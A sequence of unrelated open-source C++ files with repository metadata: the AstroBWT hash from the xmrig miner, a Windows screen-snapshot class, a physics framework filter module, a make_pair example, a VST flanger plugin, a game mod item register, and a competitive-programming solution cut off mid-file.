key, void* output, size_t size) { const uint64_t iv = 0; ZeroTier::Salsa20 s(key, &iv); s.XORKeyStream(output, static_cast<uint32_t>(size)); memset(static_cast<uint8_t*>(output) - 16, 0, 16); memset(static_cast<uint8_t*>(output) + size, 0, 16); } extern "C" int salsa20_stream_avx2(void* c, uint64_t clen, const void* iv, const void* key); static void Salsa20_XORKeyStream_AVX256(const void* key, void* output, size_t size) { const uint64_t iv = 0; salsa20_stream_avx2(output, size, &iv, key); memset(static_cast<uint8_t*>(output) - 16, 0, 16); memset(static_cast<uint8_t*>(output) + size, 0, 16); } #endif static inline bool smaller(const uint8_t* v, uint64_t a, uint64_t b) { const uint64_t value_a = a >> 21; const uint64_t value_b = b >> 21; if (value_a < value_b) { return true; } if (value_a > value_b) { return false; } a &= (1 << 21) - 1; b &= (1 << 21) - 1; if (a == b) { return false; } const uint64_t data_a = bswap_64(*reinterpret_cast<const uint64_t*>(v + a + 5)); const uint64_t data_b = bswap_64(*reinterpret_cast<const uint64_t*>(v + b + 5)); return (data_a < data_b); } void sort_indices(uint32_t N, const uint8_t* v, uint64_t* indices, uint64_t* tmp_indices) { uint32_t counters[2][COUNTING_SORT_SIZE] = {}; { #define ITER(X) \ do { \ const uint64_t k = bswap_64(*reinterpret_cast<const uint64_t*>(v + i + X)); \ ++counters[0][(k >> (64 - COUNTING_SORT_BITS * 2)) & (COUNTING_SORT_SIZE - 1)]; \ ++counters[1][k >> (64 - COUNTING_SORT_BITS)]; \ } while (0) uint32_t i = 0; const uint32_t n = N - 15; for (; i < n; i += 16) { ITER(0); ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); ITER(9); ITER(10); ITER(11); ITER(12); ITER(13); ITER(14); ITER(15); } for (; i < N; ++i) { ITER(0); } #undef ITER } uint32_t prev[2] = { counters[0][0], counters[1][0] }; counters[0][0] = prev[0] - 1; counters[1][0] = prev[1] - 1; for (int i = 1; i < COUNTING_SORT_SIZE; ++i) { const uint32_t cur[2] = { counters[0][i] + prev[0], counters[1][i] + prev[1] }; counters[0][i] = cur[0] - 1; counters[1][i] = cur[1] - 1; prev[0] = cur[0]; prev[1] = cur[1]; } { #define ITER(X) \ do { \ const uint64_t k = bswap_64(*reinterpret_cast<const uint64_t*>(v + (i - X))); \ tmp_indices[counters[0][(k >> (64 - COUNTING_SORT_BITS * 2)) & (COUNTING_SORT_SIZE - 1)]--] = (k & (static_cast<uint64_t>(-1) << 21)) | (i - X); \ } while (0) uint32_t i = N; for (; i >= 8; i -= 8) { ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); } for (; i > 0; --i) { ITER(1); } #undef ITER } { #define ITER(X) \ do { \ const uint64_t data = tmp_indices[i - X]; \ indices[counters[1][data >> (64 - COUNTING_SORT_BITS)]--] = data; \ } while (0) uint32_t i = N; for (; i >= 8; i -= 8) { ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); } for (; i > 0; --i) { ITER(1); } #undef ITER } uint64_t prev_t = indices[0]; for (uint32_t i = 1; i < N; ++i) { uint64_t t = indices[i]; if (smaller(v, t, prev_t)) { const uint64_t t2 = prev_t; int j = i - 1; do { indices[j + 1] = prev_t; --j; if (j < 0) { break; } prev_t = indices[j]; } while (smaller(v, t, prev_t)); indices[j + 1] = t; t = t2; } prev_t = t; } } void sort_indices2(uint32_t N, const uint8_t* v, uint64_t* indices, uint64_t* tmp_indices) { alignas(16) uint32_t counters[1 << COUNTING_SORT_BITS] = {}; alignas(16) uint32_t counters2[1 << COUNTING_SORT_BITS]; { #define ITER(X) { \ const uint64_t k = bswap_64(*reinterpret_cast<const uint64_t*>(v + i + X)); \ ++counters[k >> (64 - COUNTING_SORT_BITS)]; \ } uint32_t i = 0; const uint32_t n = (N / 32) * 32; for (; i < n; i += 32) { ITER(0); ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); ITER(9); ITER(10); ITER(11); ITER(12); ITER(13); ITER(14); ITER(15); ITER(16); ITER(17); ITER(18); ITER(19); ITER(20); ITER(21); ITER(22); ITER(23); ITER(24); ITER(25); ITER(26); ITER(27); ITER(28); ITER(29); ITER(30); ITER(31); } for (; i < N; ++i) { ITER(0); } #undef ITER } uint32_t prev = static_cast<uint32_t>(-1); for (uint32_t i = 0; i < (1 << COUNTING_SORT_BITS); i += 16) { #define ITER(X) { \ const uint32_t cur = counters[i + X] + prev; \ counters[i + X] = cur; \ counters2[i + X] = cur; \ prev = cur; \ } ITER(0); ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); ITER(9); ITER(10); ITER(11); ITER(12); ITER(13); ITER(14); ITER(15); #undef ITER } { #define ITER(X) \ do { \ const uint64_t k = bswap_64(*reinterpret_cast<const uint64_t*>(v + (i - X))); \ indices[counters[k >> (64 - COUNTING_SORT_BITS)]--] = (k & (static_cast<uint64_t>(-1) << 21)) | (i - X); \ } while (0) uint32_t i = N; for (; i >= 8; i -= 8) { ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); } for (; i > 0; --i) { ITER(1); } #undef ITER } uint32_t prev_i = 0; for (uint32_t i0 = 0; i0 < (1 << COUNTING_SORT_BITS); ++i0) { const uint32_t i = counters2[i0] + 1; const uint32_t n = i - prev_i; if (n > 1) { memset(counters, 0, sizeof(uint32_t) * (1 << COUNTING_SORT_BITS)); const uint32_t n8 = (n / 8) * 8; uint32_t j = 0; #define ITER(X) { \ const uint64_t k = indices[prev_i + j + X]; \ ++counters[(k >> (64 - COUNTING_SORT_BITS * 2)) & ((1 << COUNTING_SORT_BITS) - 1)]; \ tmp_indices[j + X] = k; \ } for (; j < n8; j += 8) { ITER(0); ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); } for (; j < n; ++j) { ITER(0); } #undef ITER uint32_t prev = static_cast<uint32_t>(-1); for (uint32_t j = 0; j < (1 << COUNTING_SORT_BITS); j += 32) { #define ITER(X) { \ const uint32_t cur = counters[j + X] + prev; \ counters[j + X] = cur; \ prev = cur; \ } ITER(0); ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); ITER(9); ITER(10); ITER(11); ITER(12); ITER(13); ITER(14); ITER(15); ITER(16); ITER(17); ITER(18); ITER(19); ITER(20); ITER(21); ITER(22); ITER(23); ITER(24); ITER(25); ITER(26); ITER(27); ITER(28); ITER(29); ITER(30); ITER(31); #undef ITER } #define ITER(X) { \ const uint64_t k = tmp_indices[j - X]; \ const uint32_t index = counters[(k >> (64 - COUNTING_SORT_BITS * 2)) & ((1 << COUNTING_SORT_BITS) - 1)]--; \ indices[prev_i + index] = k; \ } for (j = n; j >= 8; j -= 8) { ITER(1); ITER(2); ITER(3); ITER(4); ITER(5); ITER(6); ITER(7); ITER(8); } for (; j > 0; --j) { ITER(1); } #undef ITER uint64_t prev_t = indices[prev_i]; for (uint64_t* p = indices + prev_i + 1, *e = indices + i; p != e; ++p) { uint64_t t = *p; if (smaller(v, t, prev_t)) { const uint64_t t2 = prev_t; uint64_t* p1 = p; do { *p1 = prev_t; --p1; if (p1 <= indices + prev_i) { break; } prev_t = *(p1 - 1); } while (smaller(v, t, prev_t)); *p1 = t; t = t2; } prev_t = t; } } prev_i = i; } } bool xmrig::astrobwt::astrobwt_dero(const void* input_data, uint32_t input_size, void* scratchpad, uint8_t* output_hash, int stage2_max_size, bool avx2) { alignas(8) uint8_t key[32]; uint8_t* scratchpad_ptr = (uint8_t*)(scratchpad) + 64; uint8_t* stage1_output = scratchpad_ptr; uint8_t* stage2_output = scratchpad_ptr; uint64_t* indices = (uint64_t*)(scratchpad_ptr + ALLOCATION_SIZE); uint64_t* tmp_indices = (uint64_t*)(scratchpad_ptr + ALLOCATION_SIZE * 9); uint8_t* stage1_result = (uint8_t*)(tmp_indices); uint8_t* stage2_result = (uint8_t*)(tmp_indices); #ifdef ASTROBWT_AVX2 if (hasAVX2 && avx2) { SHA3_256_AVX2_ASM(input_data, input_size, key); Salsa20_XORKeyStream_AVX256(key, stage1_output, STAGE1_SIZE); } else #endif { sha3_HashBuffer(256, SHA3_FLAGS_NONE, input_data, input_size, key, sizeof(key)); Salsa20_XORKeyStream(key, stage1_output, STAGE1_SIZE); } sort_indices(STAGE1_SIZE + 1, stage1_output, indices, tmp_indices); { const uint8_t* tmp = stage1_output - 1; for (int i = 0; i <= STAGE1_SIZE; ++i) { stage1_result[i] = tmp[indices[i] & ((1 << 21) - 1)]; } } #ifdef ASTROBWT_AVX2 if (hasAVX2 && avx2) SHA3_256_AVX2_ASM(stage1_result, STAGE1_SIZE + 1, key); else #endif sha3_HashBuffer(256, SHA3_FLAGS_NONE, stage1_result, STAGE1_SIZE + 1, key, sizeof(key)); const int stage2_size = STAGE1_SIZE + (*(uint32_t*)(key) & 0xfffff); if (stage2_size > stage2_max_size) { return false; } #ifdef ASTROBWT_AVX2 if (hasAVX2 && avx2) { Salsa20_XORKeyStream_AVX256(key, stage2_output, stage2_size); } else #endif { Salsa20_XORKeyStream(key, stage2_output, stage2_size); } sort_indices2(stage2_size + 1, stage2_output, indices, tmp_indices); { const uint8_t* tmp = stage2_output - 1; int i = 0; const int n = ((stage2_size + 1) / 4) * 4; for (; i < n; i += 4) { stage2_result[i + 0] = tmp[indices[i + 0] & ((1 << 21) - 1)]; stage2_result[i + 1] = tmp[indices[i + 1] & ((1 << 21) - 1)]; stage2_result[i + 2] = tmp[indices[i + 2] & ((1 << 21) - 1)]; stage2_result[i + 3] = tmp[indices[i + 3] & ((1 << 21) - 1)]; } for (; i <= stage2_size; ++i) { stage2_result[i] = tmp[indices[i] & ((1 << 21) - 1)]; } } #ifdef ASTROBWT_AVX2 if (hasAVX2 && avx2) SHA3_256_AVX2_ASM(stage2_result, stage2_size + 1, output_hash); else #endif sha3_HashBuffer(256, SHA3_FLAGS_NONE, stage2_result, stage2_size + 1, output_hash, 32); return true; } void xmrig::astrobwt::init() { if (!astrobwtInitialized) { # ifdef ASTROBWT_AVX2 hasAVX2 = Cpu::info()->hasAVX2(); # endif astrobwtInitialized = true; } } template<> void xmrig::astrobwt::single_hash<xmrig::Algorithm::ASTROBWT_DERO>(const uint8_t* input, size_t size, uint8_t* output, cryptonight_ctx** ctx, uint64_t) { astrobwt_dero(input, static_cast<uint32_t>(size), ctx[0]->memory, output, std::numeric_limits<int>::max(), true); }
27.331126
152
0.612875
afiniel
de5bbe752d78eb8b6929fb9968948893409902d0
2,201
hpp
C++
src/core/screensnapshot.hpp
Wiladams/vdj
83a0f083e78955d83717e6008449a252d5b32766
[ "MIT" ]
null
null
null
src/core/screensnapshot.hpp
Wiladams/vdj
83a0f083e78955d83717e6008449a252d5b32766
[ "MIT" ]
null
null
null
src/core/screensnapshot.hpp
Wiladams/vdj
83a0f083e78955d83717e6008449a252d5b32766
[ "MIT" ]
null
null
null
#pragma once // ScreenSnapshot // // Take a snapshot of a portion of the screen and hold // it in a PixelMap (User32PixelMap) // A sampler2D interface is also provided so you can // either use the pixel oriented 'get()' function, or the // parametric 'getValue()' function. // // When constructed, a single snapshot is taken. // every time you want a new snapshot, just call 'next()' // This is great for doing a live screen capture // // ScreenSnapshot ss(x,y, width, height); // // References: // https://www.codeproject.com/articles/5051/various-methods-for-capturing-the-screen // https://stackoverflow.com/questions/5069104/fastest-method-of-screen-capturing-on-windows // https://github.com/bmharper/WindowsDesktopDuplicationSample // #include "User32PixelMap.h" #include "sampler.hpp" namespace alib { class ScreenSnapshot : public U32DIBSection { HDC fSourceDC = nullptr; // Device Context we're going to snapshot // which location winthin the sourceDC are we capturing ptrdiff_t fOriginX=0; ptrdiff_t fOriginY=0; public: ScreenSnapshot(ptrdiff_t originX, ptrdiff_t originY, size_t awidth, size_t aheight, HDC sourceDC) : U32DIBSection(awidth, aheight) , fSourceDC(sourceDC) , fOriginX(originX) , fOriginY(originY) { // Take a snapshot to start next(); } // take a snapshot of current screen bool next() { BitBlt(getDC(), 0, 0, width(), height(), fSourceDC, fOriginX, fOriginY, SRCCOPY | CAPTUREBLT); return true; } static std::shared_ptr<ScreenSnapshot> createForDisplay(int x, int y, int w, int h) { auto sourceDC = GetDC(nullptr); return std::make_shared<ScreenSnapshot>(x, y, w, h, sourceDC); } static std::shared_ptr<ScreenSnapshot> createForWindow(int x, int y, int w, int h, HWND hWnd) { auto sourceDC = GetWindowDC(hWnd); if (nullptr == sourceDC) return nullptr; return std::make_shared<ScreenSnapshot>(x, y, w, h, sourceDC); } }; }
30.150685
106
0.626988
Wiladams
de5c54781385414af25a42e5ffc17dc351c02816
1,636
cc
C++
Framework/AppFilterModule.cc
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
Framework/AppFilterModule.cc
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
Framework/AppFilterModule.cc
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
//-------------------------------------------------------------------------- // File and Version Information: // $Id: AppFilterModule.cc 509 2010-01-14 15:18:55Z stroili $ // // Description: // Class AppFilterModule. This is the abstract parent for filter // modules, modules that can terminate processing of a sequence // or path. Eventually these modules should also be able to // redirect processing to an alternative sequence, but this is not // yet implemented. // // Environment: // Software developed for the BaBar Detector at the SLAC B-Factory. // // Author List: // David R. Quarrie Original Author // // Copyright Information: // Copyright (C) 1994, 1995 Lawrence Berkeley Laboratory // //------------------------------------------------------------------------ #include "Experiment/Experiment.hh" //----------------------- // This Class's Header -- //----------------------- #include "Framework/AppFilterModule.hh" // ---------------------------------------- // -- Public Function Member Definitions -- // ---------------------------------------- //---------------- // Constructors -- //---------------- AppFilterModule::AppFilterModule( const char* const theName, const char* const theDescription ) : AppModule( theName, theDescription ) { _execType = APP_filter; } //-------------- // Destructor -- //-------------- AppFilterModule::~AppFilterModule( ) { } //------------- // Selectors -- //------------- bool AppFilterModule::passed( ) const { return _passed; } //------------- // Modifiers -- //------------- void AppFilterModule::setPassed( bool flag ) { _passed = flag; }
22.410959
76
0.52445
brownd1978
de5d7f7ee32aa2f3ae34ad93bfee41aefbd16919
686
cc
C++
Part-I-The-Basics/Chapter-07-By-Value-or-by-Reference/7.6-make-pair.cc
RingZEROtlf/Cpp-Templates-Complete-Guide
e5de63f89019b8d688a7807f88cb0d5f7028b345
[ "MIT" ]
null
null
null
Part-I-The-Basics/Chapter-07-By-Value-or-by-Reference/7.6-make-pair.cc
RingZEROtlf/Cpp-Templates-Complete-Guide
e5de63f89019b8d688a7807f88cb0d5f7028b345
[ "MIT" ]
null
null
null
Part-I-The-Basics/Chapter-07-By-Value-or-by-Reference/7.6-make-pair.cc
RingZEROtlf/Cpp-Templates-Complete-Guide
e5de63f89019b8d688a7807f88cb0d5f7028b345
[ "MIT" ]
null
null
null
#include <utility> #include <type_traits> int main() { auto b = std::make_pair(1, 2); } // C++98 template<typename T1, typename T2> std::pair<T1, T2> make_pair_98(T1 const& a, T2 const& b) { return std::pair<T1, T2>(a, b); } // C++03 template<typename T1, typename T2> std::pair<T1, T2> make_pair_03(T1 a, T2 b) { return std::pair<T1, T2>(a, b); } // C++11 template<typename T1, typename T2> constexpr std::pair<typename std::decay<T1>::type, typename std::decay<T2>::type> make_pair(T1&& a, T2&& b) { return std::pair<typename std::decay<T1>::type, typename std::decay<T2>::type> (std::forward<T1>(a), std::forward<T2>(b)); }
21.4375
56
0.604956
RingZEROtlf
de5df6535c5d8f100095ecf25fe2975f22b88ec7
5,108
cpp
C++
sfxvst/sfx_Flanger/SfxFlanger.cpp
Nocorupe/SimpleFxVst
a7e3a623dfa27d81c2d38c4a5a96b6c2364d486c
[ "MIT" ]
1
2021-12-12T19:45:05.000Z
2021-12-12T19:45:05.000Z
sfxvst/sfx_Flanger/SfxFlanger.cpp
Nocorupe/SimpleFxVst
a7e3a623dfa27d81c2d38c4a5a96b6c2364d486c
[ "MIT" ]
null
null
null
sfxvst/sfx_Flanger/SfxFlanger.cpp
Nocorupe/SimpleFxVst
a7e3a623dfa27d81c2d38c4a5a96b6c2364d486c
[ "MIT" ]
null
null
null
 #include "SfxFlanger.h" #define _USE_MATH_DEFINES #include <math.h> #include <stdio.h> #include <memory> std::unique_ptr<SfxFlanger> gFxUniquePtr; AudioEffect* createEffectInstance(audioMasterCallback audioMaster) { gFxUniquePtr = std::unique_ptr<SfxFlanger>(new SfxFlanger(audioMaster)); return gFxUniquePtr.get(); } SfxFlanger::SfxFlanger(audioMasterCallback audioMaster) : AudioEffectX(audioMaster, 1, NumParams) , mRate("Rate", "Hz") , mDepthSpeed("DepthSpeed", "s/me") , mFeedback("Feedback", "") , mManual("Manual", "") , mProgramManager(mPPPointers) { setNumInputs(2); // stereo in setNumOutputs(2); // stereo out setUniqueID('FF01'); // identify canProcessReplacing(); // supports replacing output // canDoubleReplacing (); // supports double precision processing isSynth(false); mPPPointers[0] = &mRate; mPPPointers[1] = &mDepthSpeed; mPPPointers[2] = &mFeedback; mPPPointers[3] = &mManual; // Program setup mRate.set(0.25f); mDepthSpeed.setDisplayValue(1024); // almost 2ms mFeedback.set(1.0f); mManual.set(0.f); mProgramManager.addCurrentState("Default"); mProgramManager.setProgramName("Default"); resume(); } SfxFlanger::~SfxFlanger() { // nothing to do here } void SfxFlanger::suspend() { // nothing to do } void SfxFlanger::resume() { // @JP : 新しくエフェクトが起動された mCount = 0; mPhaseOffset = 2.0f * (float)(M_PI)* mManual.get(); mBuff[0].init(); mBuff[1].init(); } void SfxFlanger::setProgramName(char* name) { mProgramManager.setProgramName(name); } void SfxFlanger::setProgram(VstInt32 index) { mProgramManager.setProgram(index); } void SfxFlanger::getProgramName(char* name) { mProgramManager.getProgramName(name); } bool SfxFlanger::getProgramNameIndexed(VstInt32 category, VstInt32 index, char * text) { return mProgramManager.getProgramNameIndexed(index, text); } void SfxFlanger::setParameter(VstInt32 index, float value) { if (index >= numParams) return; mPPPointers[index]->set(value); } float SfxFlanger::getParameter(VstInt32 index) { if (index >= numParams) return 0; return mPPPointers[index]->get(); } void SfxFlanger::getParameterName(VstInt32 index, char* name) { if (index < 0 || index >= numParams) return; vst_strncpy(name, mPPPointers[index]->name, kVstMaxNameLen); } bool SfxFlanger::getParameterProperties(VstInt32 index, VstParameterProperties * properties) { if (index < 0 || index >= numParams) return false; memcpy(properties, mPPPointers[index], sizeof(VstParameterProperties)); return true; } void SfxFlanger::getParameterDisplay(VstInt32 index, char* text) { if (index < 0 || index >= numParams) return; mPPPointers[index]->display(text); } void SfxFlanger::getParameterLabel(VstInt32 index, char* label) { if (index < 0 || index >= numParams) return; vst_strncpy(label, mPPPointers[index]->label, kVstMaxNameLen); } bool SfxFlanger::getEffectName(char* name) { vst_strncpy(name, "SfxFlanger", kVstMaxEffectNameLen); return true; } bool SfxFlanger::getProductString(char* text) { vst_strncpy(text, "SfxFlanger", kVstMaxProductStrLen); return true; } bool SfxFlanger::getVendorString(char* text) { vst_strncpy(text, "SimpleFxVst", kVstMaxVendorStrLen); return true; } VstInt32 SfxFlanger::getVendorVersion() { return 1000; } VstPlugCategory SfxFlanger::getPlugCategory() { return kPlugCategEffect; } VstInt32 SfxFlanger::canDo(char * text) { if (strcmp(text, PlugCanDos::canDoReceiveVstTimeInfo) == 0) return 1; return -1; } void SfxFlanger::processReplacing(float** aInputs, float** aOutputs, VstInt32 aSampleFrames) { const float rate = mRate.get(); const float feedback = mFeedback.get(); const float manual = mManual.get(); VstTimeInfo* timeInfo = getTimeInfo(kVstTempoValid); double BPM = (timeInfo->flags & kVstTempoValid) ? timeInfo->tempo : 120.0; double BPM_base = 4.0; const float depth = (float)((60.0 * BPM_base / BPM) / (double)mDepthSpeed.getDisplayValue()); mBuff[0].update(aInputs[0], aSampleFrames); mBuff[1].update(aInputs[1], aSampleFrames); for (VstInt32 f = 0; f< aSampleFrames; f++) { aOutputs[0][f] = mBuff[0][f]; aOutputs[1][f] = mBuff[1][f]; float sin_phase = std::sin((2.0f * (float)(M_PI)* rate * ((float)(mCount) / sampleRate)) + mPhaseOffset); float tau = (depth * sampleRate) + ((depth*sampleRate) * sin_phase); // accuracy problem float t = (float)f - tau; int m = static_cast<int>(t); if (m >= 0) { float delta = t - (float)m; aOutputs[0][f] += ((delta * mBuff[0][m + 1]) + (1.0f - delta) * mBuff[0][m]) * feedback; aOutputs[1][f] += ((delta * mBuff[1][m + 1]) + (1.0f - delta) * mBuff[1][m]) * feedback; } else { // = if ( m < 0 ) { float delta = (float)m - t; aOutputs[0][f] += ((delta * mBuff[0][m - 1]) + (1.0f - delta) * mBuff[0][m]) * feedback; aOutputs[1][f] += ((delta * mBuff[1][m - 1]) + (1.0f - delta) * mBuff[1][m]) * feedback; } mCount++; } }
24.09434
108
0.667972
Nocorupe
de67ebe2141055a6c200a5875c016bdf673d9af6
733
hxx
C++
include/osram/extractor/files.hxx
ambasta/osram
5415b73292e1387fb1dbcab58296ea6fefab9075
[ "BSD-2-Clause" ]
1
2021-01-25T11:07:22.000Z
2021-01-25T11:07:22.000Z
include/osram/extractor/files.hxx
ambasta/osram
5415b73292e1387fb1dbcab58296ea6fefab9075
[ "BSD-2-Clause" ]
null
null
null
include/osram/extractor/files.hxx
ambasta/osram
5415b73292e1387fb1dbcab58296ea6fefab9075
[ "BSD-2-Clause" ]
null
null
null
#ifndef OSRAM_EXTRACTOR_FILES #define OSRAM_EXTRACTOR_FILES #include <filesystem> #include <osram/extractor/node_data_container.hxx> #include <osram/extractor/profile_properties.hxx> #include <osram/storage/serialization.hxx> #include <osram/storage/tar.hxx> namespace osram { namespace extractor { namespace files { template <typename T> inline void write_timestamp(const std::filesystem::path &path, const T &timestamp) { const auto fingerprint = storage::tar::FileWriter::GenerateFingerPrint; storage::tar::FileWriter writer(path, fingerprint); storage::serialization::write(writer, "/common/timestamp", timestamp); } } // namespace files } // namespace extractor } // namespace osram #endif
28.192308
73
0.751705
ambasta
de6960343dfc4513b199bed8fc9e5a682937c549
3,616
cpp
C++
mp/src/game/server/Mod/SF132_ItemRegister.cpp
hekar/luminousforts-2013
09f07df4def93fa0d774721375a6c7c9da26d71f
[ "Unlicense" ]
7
2019-02-04T01:17:26.000Z
2022-02-26T21:36:34.000Z
mp/src/game/server/Mod/SF132_ItemRegister.cpp
hekar/luminousforts-2013
09f07df4def93fa0d774721375a6c7c9da26d71f
[ "Unlicense" ]
11
2016-05-06T22:44:46.000Z
2016-05-06T22:45:03.000Z
mp/src/game/server/Mod/SF132_ItemRegister.cpp
hekar/luminousforts-2013
09f07df4def93fa0d774721375a6c7c9da26d71f
[ "Unlicense" ]
2
2016-06-28T11:34:53.000Z
2017-04-01T18:08:46.000Z
/* ***** BEGIN LICENSE BLOCK ***** Version: MPL 1.1/LGPL 2.1/GPL 2.0 The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); you may not use this file except in compliance with ... for the specific language governing rights and limitations under the License. The Original Code is for LuminousForts. The Initial Developer of the Original Code is Hekar Khani. Portions created by the Hekar Khani are Copyright (C) 2010 Hekar Khani. All Rights Reserved. Contributor(s): Hekar Khani <hekark@gmail.com> Alternatively, the contents of this file may be used under the terms of either of the GNU General Public License Version 2 or later (the "GPL"), ... the terms of any one of the MPL, the GPL or the LGPL. ***** END LICENSE BLOCK ***** */ /*=============================================================== Server Sourceforts 1.3.2 Gamemode Item storing and buying system. Accepts a concommand gives the items to the player if request is valid. Last Updated Feb 27, 2010 ===============================================================*/ #include "cbase.h" #ifdef MOD_SF132 #include "hl2mp_player.h" #include "CModPlayer.h" #include "SF132_GameRules.h" #include "SF132_ItemRegister.h" // // Name: CC_SF132BuyItem // Author: Hekar Khani // Description: Buys an item in the SF132 GameMode // Notes: // void CC_SF132BuyItem( const CCommand& args ) { if ( GameRules()->GetGameMode() != GAMEMODE_SF132 ) { Msg( "Cannot execute this command in gamemodes other than SF132\n" ); return; } else if ( args.ArgC() != 2 ) { Msg( "sf132_buyitem <item>\n" ); return; } int WeaponIndex = -1; CBasePlayer *pPlayer = UTIL_GetCommandClient(); CModPlayer *pModPlayer = ToModPlayer( pPlayer ); CItemRegister *itemregister = pModPlayer->GetItemRegister(); char itemname[ 256 ] = {'\0'}; for (int i = 0; i < SF132_BUY_WEAPON_COUNT; i++) { // Not all that secure :/ const char *Command = Q_strstr( g_WeaponCommands[i].Command, args[ 1 ] ); if ( Command ) { Q_strncpy( itemname, Command, sizeof( itemname ) ); WeaponIndex = i; break; } } if ( itemname [0] ) { BoughtItem_t NewItem; Q_strncpy( NewItem.name, itemname, sizeof( NewItem.name ) ); itemregister->AddItem( NewItem ); if ( SF132GameRules()->GetCurrentPhaseID() == PHASE_COMBAT ) { if ( !itemregister->HasItem( pModPlayer, NewItem.name ) ) { itemregister->GiveItem( pModPlayer, NewItem.name ); } } CSingleUserRecipientFilter user( pModPlayer ); user.MakeReliable(); char youbought [128] = {0}; Q_snprintf( youbought, sizeof( youbought ), "You've bought %s", g_WeaponCommands[ WeaponIndex ].WeaponName ); UTIL_ClientPrintFilter( user, HUD_PRINTTALK, youbought ); } } static ConCommand sf132_buyitem( "sf132_buyitem", CC_SF132BuyItem, "lf_132buyitem <itemname>" ); CItemRegister::CItemRegister() { } CItemRegister::~CItemRegister() { } void CItemRegister::AddItem( const BoughtItem_t& Item ) { m_Items.AddToTail( Item ); } void CItemRegister::GiveItems( CBasePlayer *pPlayer ) { CModPlayer *pModPlayer = ToModPlayer(pPlayer); for (int i = 0; i < m_Items.Count(); i++) { GiveItem(pModPlayer, m_Items[i].name); } } bool CItemRegister::HasItem( CBasePlayer *pPlayer, const char *ItemName ) { for (int i = 0; i < m_Items.Count(); i++) { if ( !Q_strcmp( m_Items[ i ].name, ItemName ) ) { return true; } } return false; } void CItemRegister::ClearItems() { m_Items.Purge(); } void CItemRegister::GiveItem( CHL2MP_Player *pPlayer, const char *ItemName ) { pPlayer->GiveNamedItem( ItemName ); } #endif // MOD_SF132
23.633987
111
0.674502
hekar
de705bbc96aa23ef890c778e8e602b45300a3394
645
cpp
C++
Playground3D/App.cpp
VasilStamatov/GraphicsLearning
8cf5dc57fedd809066472e96c8182153a1fa54d9
[ "MIT" ]
null
null
null
Playground3D/App.cpp
VasilStamatov/GraphicsLearning
8cf5dc57fedd809066472e96c8182153a1fa54d9
[ "MIT" ]
null
null
null
Playground3D/App.cpp
VasilStamatov/GraphicsLearning
8cf5dc57fedd809066472e96c8182153a1fa54d9
[ "MIT" ]
null
null
null
#include "App.h" #include <GameEngine\ScreenList.h> App::App() { } App::~App() { } // called on initialization void App::OnInit() { //set up the variables for the window creation m_gameName = "3D Playground"; m_screenWidth = 960; m_screenHeight = 540; m_windowFlags = GameEngine::WindowCreationFlags::RESIZABLE; } // called when exiting void App::OnExit() { } // used to add screens void App::AddScreens() { m_gamePlayScreen = std::make_shared<GameplayScreen>(&m_window); m_screenList->SetScreen(m_gamePlayScreen->GetScreenIndex()); m_screenList->AddScreen(std::move(m_gamePlayScreen)); }
18.970588
66
0.68062
VasilStamatov
de72963195858189b527e4600f49728cba336348
2,930
cpp
C++
Long/03_20/ADASHOP2.cpp
vinaysomawat/CodeChef-Solutions
9a0666a4f1badd593cd075f3beb05377e3c6657a
[ "MIT" ]
1
2020-04-12T01:39:10.000Z
2020-04-12T01:39:10.000Z
Long/03_20/ADASHOP2.cpp
vinaysomawat/CodeChef-Solutions
9a0666a4f1badd593cd075f3beb05377e3c6657a
[ "MIT" ]
null
null
null
Long/03_20/ADASHOP2.cpp
vinaysomawat/CodeChef-Solutions
9a0666a4f1badd593cd075f3beb05377e3c6657a
[ "MIT" ]
null
null
null
/* Contest: CodeChef March 2020 Long challange Problem link: https://www.codechef.com/MARCH20B/problems/ADASHOP2 Author: Vinay Somawat Author's Webpage: http://vinaysomawat.github.io/ */ #include<bits/stdc++.h> #define ll long long int using namespace std; bool isSafe(int r, int c) { if(r>0 && r<=8 && c>0 && c<=8) { return true; } return false; } pair<int,int> swapele(int r, int c) { pair<int,int> temp; swap(r,c); temp = make_pair(r,c); return temp; } pair<int,int> addition(int r, int c, int val) { pair<int,int> temp; r +=val; c +=val; temp = make_pair(r,c); return temp; } pair<int,int> addsub(int r, int c, int val) { pair<int,int> temp; r+=val; c-=val; temp = make_pair(r,c); return temp; } pair<int,int> subadd(int r, int c, int val) { pair<int,int> temp; r-=val; c+=val; temp = make_pair(r,c); return temp; } pair<int,int> sub(int r, int c, int val) { pair<int,int> temp; r-=val; c-=val; temp = make_pair(r,c); return temp; } int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); int t; cin>>t; while(t--) { int m,n; cin>>m>>n; vector<pair<int,int> >vtr; vtr.push_back({m,n}); int r,c; int p=(m-n)/2; r=m-p; c=n+p; int first=r,second=c,i=r-1; while(first>1 && second>1) { vtr.push_back({first,second}); if(first<=4 && second<=4) {vtr.push_back({2*first-1,1}); vtr.push_back({1,2*second-1}); } else { vtr.push_back({8,2*first-8}); vtr.push_back({2*first-8,8}); } vtr.push_back({first,second}); first--; second--; } vtr.push_back({first,second}); while(first<=r && second<=c) { vtr.push_back({first,second}); first++; second++; } while(first<8 && second<8) { vtr.push_back({first,second}); if(first<=4 && second<=4) {vtr.push_back({2*first-1,1}); vtr.push_back({1,2*second-1}); } else { vtr.push_back({8,2*first-8}); vtr.push_back({2*first-8,8}); } vtr.push_back({first,second}); first++; second++; vtr.push_back({first,second}); } vector<pair<int,int> >e; if(first==8 && second==8 && r!=8 && c!=8) vtr.push_back({8,8}); e.push_back(vtr[0]); for(int 